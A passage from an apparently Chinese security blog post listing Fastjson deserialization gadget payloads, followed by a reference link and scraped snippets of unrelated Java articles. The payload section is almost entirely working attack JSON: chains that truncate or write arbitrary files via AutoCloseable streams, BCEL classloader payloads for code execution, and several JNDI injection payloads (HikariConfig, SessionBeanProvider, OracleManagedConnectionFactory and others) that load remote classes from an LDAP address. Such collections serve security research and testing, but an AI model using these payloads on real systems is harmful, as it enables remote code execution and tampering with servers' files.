    "@type":"java.lang.AutoCloseable",
    "@type":"java.io.FileOutputStream",
    "file":"/tmp/nonexist",
    "append":false
}

AutoCloseable 清空指定文件

{
    "@type":"java.lang.AutoCloseable",
    "@type":"java.io.FileWriter",
    "file":"/tmp/nonexist",
    "append":false
}

AutoCloseable 任意文件写入

{
    "stream":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"java.io.FileOutputStream",
        "file":"/tmp/nonexist",
        "append":false
    },
    "writer":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"org.apache.solr.common.util.FastOutputStream",
        "tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
        "sink":
        {
            "$ref":"$.stream"
        },
        "start":38
    },
    "close":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"org.iq80.snappy.SnappyOutputStream",
        "out":
        {
            "$ref":"$.writer"
        }
    }
}

BasicDataSource

{
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassName": "true",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
    }

HikariConfig

{
    "@type": "com.zaxxer.hikari.HikariConfig",
    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

{
    "@type": "com.zaxxer.hikari.HikariConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

{
    "@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

{
    "@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

SessionBeanProvider

{
    "@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
    "jndiName": "ldap://127.0.0.1:23457/Command8",
    "Object": "su18"
}

JMSContentInterceptor

{
    "@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
    "parameters": {
        "@type": "java.util.Hashtable",
        "java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
        "topic-factory": "ldap://127.0.0.1:23457/Command8"
    },
    "namespace": ""
}

ContextClassLoaderSwitcher

{
    "@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
    "contextClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "a": {
        "@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
    }
}

OracleManagedConnectionFactory

{
    "@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
    "xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}

JNDIConfiguration

{
    "@type": "org.apache.commons.configuration.JNDIConfiguration",
    "prefix": "ldap://127.0.0.1:23457/Command8"
}

参考链接:

https://www.javasec.org/java-vuls/FastJson.html

 

 

 

 

标签:Fastjson,Java,com,System,JSON,org,序列化,type,out
From: https://www.cnblogs.com/LittleHann/p/17816844.html

相关文章

  • elasticsearch在Java中查询指定列的方法
     背景ES在查询时如果数量太多,而每行记录包含的字段很多,那就会导致超出ES的查询上线,默认是100MB,但是很多场景下我们只需要返回特定的字段即可,那么如何操作呢。主要代码@AutowiredprivateRestHighLevelClientclient;publicList<Map<String,Object>>search(Stringin......
  • java.lang.NoSuchMethodError错误解决
    一、错误原因java.lang.NoSuchMethodError错误可能的原因:1、有这个类,该类没有这个方法2、类冲突、Jar包冲突、Jar包版本冲突3、有这个类(A),类中也有方法,但在B类中引用了A类,并调用A类的方法,后面修改A类,把该A类的方法返回值类型改变(如将方法返回类型由void类型改成String类型),只部署A类,......
  • java 字符串比较
    packagecom.elaina.test2;publicclassStringTest{publicstaticvoidmain(String[]args){//创建字符串Strings1=newString("abc");Strings2="abc";Strings3="Abc";//==号比......
  • 【Java基础】Java容器相关知识小结
    目录0.前言1.Collection接口1.1.List接口1.1.1.ArrayList1.1.2.LinkedList1.1.3.Vector1.1.4.Stack1.2.Set接口1.2.1.HashSet1.2.2.LinkedHashSet1.2.3.TreeSet1.3.Queue接口1.3.1.PriorityQueue1.3.2.LinkedList2.Map接口2.1.HashMap2.2.TreeMap2.3.LinkedHash......
  • Java——集合
     一、集合类概述为什么会出现集合类?面向对象语言对事物的体现都是以对象的形式,所以为了方便对多个对象的操作数组和集合类同是容器,有何不同?数组虽然可以存储对象,但长度是固定的;集合的长度是可变的。数组中可以存储基本数据类型;集合只能存储对象。......
  • java 创建字符串对象
    packagecom.elaina.test1;publicclassStringTest{publicstaticvoidmain(String[]args){//直接赋值Strings1="abc";System.out.println(s1);//使用new//空参构造,创建一个空白的字符串对象Strings2......
  • java jna 动态库从资源路径载入问题?
    在其他项目中依赖你的功能jar包时,可能出现无法找到动态库的问题。这是因为在这种情况下,动态库不再位于资源目录中,而是被打包到了依赖的项目中。为了解决这个问题,你可以尝试以下方法:修改Native.loadLibrary方法的调用方式:将动态库的绝对路径传递给Native.loadLibrary方法,而不......
  • 有趣的Java之记录用户操作日志
    Java记录操作日志java自带的日志框架是java.util.logging(JUL),从JDK1.4(2002)开始捆绑在JDK中。可以使用JUL来记录操作日志。以下是使用JUL记录事务的示例://java.util.loggingjava.util.logging.Loggerlogger=java.util.logging.Logger.getLogger(this.getClass().getName());......
  • Java学习—Java方法
    那么什么是方法呢?Java方法是语句的集合,它们在一起执行一个功能。方法是解决一类问题的步骤的有序组合方法包含于类或对象中方法在程序中被创建,在其他地方被引用方法的命名规则1.方法的名字的第一个单词应以小写字母作为开头,后面的单词则用大写字母开头写,不使用连接符。例如:addPerso......
  • Java安全机制之一——SecurityManager和AccessController
    前言:在看socket相关代码的时候,AbstractPlainSocketImpl中的一段代码吸引了我,其实之前见过很多次类似的代码,但一直不想去看,只知道肯定和权限什么的相关,这次既然又碰到了就研究一下,毕竟也不能对java基本代码一无所知。static{java.security.AccessController.doPrivileged(......